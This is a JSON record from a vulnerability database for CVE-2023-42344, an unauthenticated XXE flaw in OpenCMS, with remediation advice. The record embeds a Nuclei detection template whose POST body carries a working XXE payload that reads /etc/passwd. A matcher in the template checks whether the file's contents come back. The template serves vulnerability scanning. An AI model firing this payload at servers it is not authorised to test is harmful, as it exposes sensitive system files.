{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2023-42344/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2023-42344/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2023-42344/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2023-42344/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2023-42344/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2023-42344"},"sightings":{"href":"/api/v1/sightings/cve-2023-42344"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2023/CVE-2023-42344.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2023-42344\n\ninfo:\n  name: OpenCMS - XML external entity (XXE)\n  author: 0xr2r\n  severity: high\n  description: |\n    users can execute code without authentication.  An attacker can execute malicious requests on the OpenCms server. When the requests are successful vulnerable OpenCms can be exploited resulting in an unauthenticated XXE vulnerability. Based on research OpenCMS versions from 9.0.0 to 10.5.0 are vulnerable.\n  impact: |\n    Unauthenticated attackers can exploit XXE vulnerabilities to execute malicious requests on the OpenCMS server, potentially reading sensitive server files and internal data.\n  remediation: Advised to upgrade to OpenCMS 10.5.1 or later to patch the vulnerability\n  reference:\n    - https://blog.qualys.com/product-tech/2023/12/08/opencms-unauthenticated-xxe-vulnerability-cve-2023-42344\n    - https://labs.watchtowr.com/xxe-you-can-depend-on-me-opencms/\n  classification:\n    cpe: cpe:2.3:a:alkacon:opencms:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: alkacon\n    product: opencms\n    fofa-query: \"OpenCms-9.5.3\"\n  tags: cve,cve2023,xxe,opencms,vkev,vuln\n\nhttp:\n  - method: POST\n    path:\n      - \"{{BaseURL}}/opencms/cmisatom/cmis-online/query\"\n      - \"{{BaseURL}}/cmisatom/cmis-online/query\"\n\n    headers:\n      Content-Type: \"application/xml;charset=UTF-8\"\n      Referer: \"{{RootURL}}\"\n\n    body: |\n      <?xml version='1.0' encoding='UTF-8'?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><cmis:query xmlns:cmis=\"<http://docs.oasis-open.org/ns/cmis/core/200908/>\"><cmis:statement>&test;</cmis:statement><cmis:searchAllVersions>false</cmis:searchAllVersions><cmis:includeAllowableActions>false</cmis:includeAllowableActions><cmis:includeRelationships>none</cmis:includeRelationships><cmis:renditionFilter>cmis:none</cmis:renditionFilter><cmis:maxItems>100</cmis:maxItems><cmis:skipCount>0</cmis:skipCount></cmis:query>\n    stop-at-first-match: true\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n          - \"invalidArgument\"\n        condition: and\n# digest: 490a00463044022003729b42a3346990074b01265bb571c43e164a846fd1b88cfaeaeda0041466c3022010818590f159a5a7d570b3d5d6a7db35123605a5c93eea40d35467e4237fd387:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2023-42344"}